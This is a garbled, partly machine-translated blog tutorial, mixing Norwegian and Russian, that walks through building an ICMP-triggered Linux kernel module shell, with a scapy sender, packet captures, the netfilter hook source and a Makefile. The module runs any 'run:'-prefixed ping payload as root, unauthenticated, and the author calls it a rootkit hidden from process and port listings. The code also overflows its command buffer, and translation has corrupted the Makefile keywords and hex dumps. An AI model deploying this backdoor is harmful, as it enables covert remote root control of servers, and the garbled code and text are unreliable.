TL; DR: Jeg skriver en kjernemodul som vil lese kommandoer fra ICMP-nyttelasten og utføre dem på serveren selv om SSH-en din krasjer. For de mest utålmodige er all koden .
Forsiktig! Опытные программисты на C рискуют разрыдаться кровавыми слезами! Я могу ошибаться даже в терминологии, но любая критика приветствуется. Пост рассчитан на тех, кто имеет самое приблизительное представление о программировании на C и хочет заглянуть во внутренности Linux.
I kommentarfeltet til min første nevnte SoftEther VPN, som kan etterligne noen "vanlige" protokoller, spesielt HTTPS, ICMP og til og med DNS. Jeg kan forestille meg at bare den første av dem fungerer, siden jeg er veldig kjent med HTTP(S), og jeg måtte lære tunneling over ICMP og DNS.

Да, я в 2020 году узнал, что в ICMP-пакеты можно вставить произвольный пейлоад. Но лучше поздно, чем никогда! И раз уж с этим можно что-то сделать, значит нужно делать. Так как в своей повседневности чаще всего я пользуюсь командной строкой, в том числе через SSH, идея ICMP-шелла пришла мне в голову первым делом. А чтобы собрать полное буллщит-бинго, решил писать в виде модуля Linux на языке, о котором я имею лишь приблизительное представление. Такой шелл не будет виден в списке процессов, можно загрузить его в ядро и он не будет лежать на файловой системе, вы не увидите ничего подозрительного в списке прослушиваемых портов. По своим возможностям это полноценный руткит, но я надеюсь доработать и использовать его в качестве шелла последней надежды, когда Load Average слишком высокий для того, чтобы зайти по SSH и выполнить хотя бы echo i > /proc/sysrq-triggerfor å gjenopprette tilgang uten å starte på nytt.
Vi tar en tekstredigerer, grunnleggende programmeringskunnskaper i Python og C, Google og som du ikke har noe imot å legge under kniven hvis alt går i stykker (valgfritt - lokal VirtualBox/KVM/etc) og la oss gå!
Klient side
Det virket for meg som om jeg for klientdelen måtte skrive et manus med omtrent 80 linjer, men det var snille folk som gjorde det for meg . Koden viste seg å være uventet enkel, og passet inn i 10 betydelige linjer:
import sys
from scapy.all import sr1, IP, ICMP
if len(sys.argv) < 3:
print('Usage: {} IP "command"'.format(sys.argv[0]))
exit(0)
p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
p.show() Skriptet tar to argumenter, en adresse og en nyttelast. Før sending innledes nyttelasten av en nøkkel run:, vil vi trenge den for å ekskludere pakker med tilfeldige nyttelaster.
Ядро требует привилегий для того чтобы крафтить пакеты, поэтому скрипт придётся запускать с правами суперпользователя. Не забудьте дать права на выполнение и установить сам scapy. В Debian есть пакет, называется python3-scapy. Nå kan du sjekke hvordan det hele fungerer.
Kjøre og sende ut kommandoen
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!
Slik ser det ut i snifferen
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct]
[Checksum Status: Good]
Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 løp: Hallo verden
0010 21!
Data: 72756e3a48656c6c6f2c20776f726c6421
[Lengde: 17]
Ramme 2: 59 byte på ledningen (472 bit), 59 byte fanget (472 bit) på grensesnitt wlp1s0, id 0
Internettprotokoll versjon 4, kilde: 45.11.26.232, dest.: 192.168.0.240
Protokoll for Internett-kontrollmelding
Type: 0 (Ekko (ping) svar)
Kode: 0
Checksum: 0xde03 [correct]
[Checksum Status: Good]
Identifier (BE): 0 (0x0000)
Identifikator (LE): 0 (0x0000)
Sekvensnummer (BE): 0 (0x0000)
Sekvensnummer (LE): 0 (0x0000)
[Request frame: 1]
[Response time: 19.094 ms]
Data (17 bytes)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 løp: Hallo verden
0010 21!
Data: 72756e3a48656c6c6f2c20776f726c6421
[Lengde: 17]
^C2-pakker fanget
Nyttelasten i svarpakken endres ikke.
Kjernemodul
Для сборки в виртуалке с Debian понадобятся как минимум make и linux-headers-amd64, vil resten komme i form av avhengigheter. Jeg vil ikke gi hele koden i artikkelen, du kan klone den på Github.
Krokoppsett
Til å begynne med trenger vi to funksjoner for å laste modulen og for å losse den. Funksjonen for lossing er ikke nødvendig, men da rmmod det vil ikke fungere; modulen vil bare bli avlastet når den er slått av.
#include <linux/module.h>
#include <linux/netfilter_ipv4.h>
static struct nf_hook_ops nfho;
static int __init startup(void)
{
nfho.hook = icmp_cmd_executor;
nfho.hooknum = NF_INET_PRE_ROUTING;
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &nfho);
return 0;
}
static void __exit cleanup(void)
{
nf_unregister_net_hook(&init_net, &nfho);
}
MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);Hva foregår her:
- To header-filer trekkes inn for å manipulere selve modulen og nettfilteret.
- Alle operasjoner går gjennom et nettfilter, du kan sette kroker i det. For å gjøre dette, må du erklære strukturen som kroken skal konfigureres i. Det viktigste er å spesifisere funksjonen som skal utføres som en krok:
nfho.hook = icmp_cmd_executor;Jeg kommer til selve funksjonen senere.
Deretter stiller jeg inn behandlingstiden for pakken:NF_INET_PRE_ROUTINGspesifiserer å behandle pakken når den først vises i kjernen. Kan bli bruktNF_INET_POST_ROUTINGå behandle pakken når den går ut av kjernen.
Jeg satte filteret til IPv4:nfho.pf = PF_INET;.
Jeg gir min krok høyeste prioritet:nfho.priority = NF_IP_PRI_FIRST;
Og jeg registrerer datastrukturen som den faktiske kroken:nf_register_net_hook(&init_net, &nfho); - Den siste funksjonen fjerner kroken.
- Lisensen er tydelig angitt slik at kompilatoren ikke klager.
- funksjoner
module_init()иmodule_exit()angi andre funksjoner for å initialisere og avslutte modulen.
Henter nyttelasten
Nå må vi hente ut nyttelasten, dette viste seg å være den vanskeligste oppgaven. Kjernen har ikke innebygde funksjoner for å arbeide med nyttelast, du kan bare analysere overskrifter for protokoller på høyere nivå.
#include <linux/ip.h>
#include <linux/icmp.h>
#define MAX_CMD_LEN 1976
char cmd_string[MAX_CMD_LEN];
struct work_struct my_work;
DECLARE_WORK(my_work, work_handler);
static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
struct iphdr *iph;
struct icmphdr *icmph;
unsigned char *user_data;
unsigned char *tail;
unsigned char *i;
int j = 0;
iph = ip_hdr(skb);
icmph = icmp_hdr(skb);
if (iph->protocol != IPPROTO_ICMP) {
return NF_ACCEPT;
}
if (icmph->type != ICMP_ECHO) {
return NF_ACCEPT;
}
user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
tail = skb_tail_pointer(skb);
j = 0;
for (i = user_data; i != tail; ++i) {
char c = *(char *)i;
cmd_string[j] = c;
j++;
if (c == ' ')
break;
if (j == MAX_CMD_LEN) {
cmd_string[j] = ' ';
break;
}
}
if (strncmp(cmd_string, "run:", 4) != 0) {
return NF_ACCEPT;
} else {
for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
cmd_string[j] = cmd_string[j+4];
if (cmd_string[j] == ' ')
break;
}
}
schedule_work(&my_work);
return NF_ACCEPT;
}Hva skjer:
- Jeg måtte inkludere flere overskriftsfiler, denne gangen for å manipulere IP- og ICMP-overskrifter.
- Jeg angir maksimal linjelengde:
#define MAX_CMD_LEN 1976. Hvorfor akkurat dette? Fordi kompilatoren klager på det! De har allerede foreslått for meg at jeg trenger å forstå stabelen og haugen, en dag vil jeg definitivt gjøre dette og kanskje til og med rette koden. Jeg satte umiddelbart linjen som skal inneholde kommandoen:char cmd_string[MAX_CMD_LEN];. Det skal være synlig i alle funksjoner. Jeg vil snakke om dette mer detaljert i avsnitt 9. - Nå må vi initialisere (
struct work_struct my_work;) struktur og koble den med en annen funksjon (DECLARE_WORK(my_work, work_handler);). Jeg vil også snakke om hvorfor dette er nødvendig i niende ledd. - Nå erklærer jeg en funksjon, som vil være en krok. Typen og aksepterte argumenter er diktert av nettfilteret, vi er kun interessert i
skb. Dette er en socketbuffer, en grunnleggende datastruktur som inneholder all tilgjengelig informasjon om en pakke. - For at funksjonen skal fungere, trenger du to strukturer og flere variabler, inkludert to iteratorer.
struct iphdr *iph; struct icmphdr *icmph; unsigned char *user_data; unsigned char *tail; unsigned char *i; int j = 0; - Vi kan starte med logikk. For at modulen skal fungere, trengs ingen andre pakker enn ICMP Echo, så vi analyserer bufferen ved hjelp av innebygde funksjoner og kaster ut alle ikke-ICMP og ikke-Echo-pakker. Komme tilbake
NF_ACCEPTbetyr aksept av pakken, men du kan også slippe pakker ved å returnereNF_DROP.iph = ip_hdr(skb); icmph = icmp_hdr(skb); if (iph->protocol != IPPROTO_ICMP) { return NF_ACCEPT; } if (icmph->type != ICMP_ECHO) { return NF_ACCEPT; }Jeg har ikke testet hva som vil skje uten å sjekke IP-hodene. Min minimale kjennskap til C forteller meg at uten ytterligere kontroller, vil noe forferdelig skje. Jeg blir glad hvis du fraråder meg dette!
- Nå som pakken er av akkurat den typen du trenger, kan du trekke ut dataene. Uten en innebygd funksjon må du først få en peker til begynnelsen av nyttelasten. Dette gjøres på ett sted, du må ta pekeren til begynnelsen av ICMP-overskriften og flytte den til størrelsen på denne overskriften. Alt bruker struktur
icmph:user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
Slutten av overskriften må samsvare med slutten av nyttelasten innskb, derfor får vi det ved hjelp av kjernefysiske midler fra den tilsvarende strukturen:tail = skb_tail_pointer(skb);.
Bildet ble stjålet , kan du lese mer om socketbufferen. - Når du har pekere til begynnelsen og slutten, kan du kopiere dataene til en streng
cmd_string, sjekk den for tilstedeværelsen av et prefiksrun:og enten kast pakken hvis den mangler, eller skriv linjen på nytt, fjern dette prefikset. - Det er det, nå kan du ringe en annen behandler:
schedule_work(&my_work);. Siden det ikke vil være mulig å sende en parameter til et slikt kall, må linjen med kommandoen være global.schedule_work()vil plassere funksjonen knyttet til den beståtte strukturen i den generelle køen til oppgaveplanleggeren og fullføre, slik at du ikke kan vente på at kommandoen skal fullføres. Dette er nødvendig fordi kroken må være veldig rask. Ellers er valget ditt at ingenting vil starte, eller du vil få kjernepanikk. Utsettelse er som døden! - Det er det, du kan godta pakken med tilsvarende retur.
Kalle et program i brukerområdet
Denne funksjonen er den mest forståelige. Navnet ble gitt inn DECLARE_WORK(), typen og aksepterte argumenter er ikke interessante. Vi tar linjen med kommandoen og sender den helt til skallet. La ham ta seg av parsing, søk etter binærfiler og alt annet.
static void work_handler(struct work_struct * work)
{
static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
static char *envp[] = {"PATH=/bin:/sbin", NULL};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}- Sett argumentene til en rekke strenger
argv[]. Jeg vil anta at alle vet at programmer faktisk kjøres på denne måten, og ikke som en kontinuerlig linje med mellomrom. - Sett miljøvariabler. Jeg satte inn bare PATH med et minimumssett med baner, i håp om at de alle allerede var kombinert
/binс/usr/binи/sbinс/usr/sbin. Andre veier har sjelden betydning i praksis. - Ferdig, la oss gjøre det! Kjernefunksjon
call_usermodehelper()aksepterer inngang. vei til binæren, en rekke argumenter, en rekke miljøvariabler. Her antar jeg også at alle forstår meningen med å sende stien til den kjørbare filen som et eget argument, men du kan spørre. Det siste argumentet spesifiserer om man skal vente på at prosessen skal fullføres (UMH_WAIT_PROC), prosessstart (UMH_WAIT_EXEC) eller ikke vent i det hele tatt (UMH_NO_WAIT). Er det noen flereUMH_KILLABLE, jeg så ikke på det.
sammenstilling
Sammenstillingen av kjernemoduler utføres gjennom kjernemake-rammeverket. Kalt make inne i en spesiell katalog knyttet til kjerneversjonen (definert her: KERNELDIR:=/lib/modules/$(shell uname -r)/build), og plasseringen av modulen sendes til variabelen M i argumentene. icmpshell.ko og rene mål bruker dette rammeverket fullstendig. I obj-m indikerer objektfilen som vil bli konvertert til en modul. Syntaks som gjenskaper main.o в icmpshell.o (icmpshell-objs = main.o) ser ikke veldig logisk ut for meg, men så får det være.
KERNELDIR:=/lib/modules/$(shell uname -r)/build
obj-m = icmpshell.o
icmpshell-objs = main.o
alt: icmpshell.ko
icmpshell.ko:main.c
lag -C $(KERNELDIR) M=$(PWD) moduler
ren:
gjør -C $(KERNELDIR) M=$(PWD) ren
Vi samler inn: make. Laster inn: insmod icmpshell.ko. Ferdig, du kan sjekke: sudo ./send.py 45.11.26.232 "date > /tmp/test". Hvis du har en fil på maskinen /tmp/test og den inneholder datoen forespørselen ble sendt, noe som betyr at du gjorde alt riktig og jeg gjorde alt riktig.
Konklusjon
Min første erfaring med kjernefysisk utvikling var mye enklere enn jeg forventet. Selv uten erfaring med utvikling i C, med fokus på kompilatortips og Google-resultater, klarte jeg å skrive en fungerende modul og føle meg som en kjernehacker, og samtidig en skriptbarn. I tillegg gikk jeg til Kernel Newbies-kanalen, hvor jeg fikk beskjed om å bruke schedule_work() i stedet for å ringe call_usermodehelper() inne i selve kroken og skammet ham, med rette mistanke om en svindel. Hundre linjer med kode kostet meg omtrent en uke med utvikling på fritiden. En vellykket opplevelse som ødela min personlige myte om den overveldende kompleksiteten i systemutvikling.
Hvis noen godtar å gjøre en kodegjennomgang på Github, vil jeg være takknemlig. Jeg er ganske sikker på at jeg har gjort mange dumme feil, spesielt når jeg jobber med strenger.
Kilde: www.habr.com

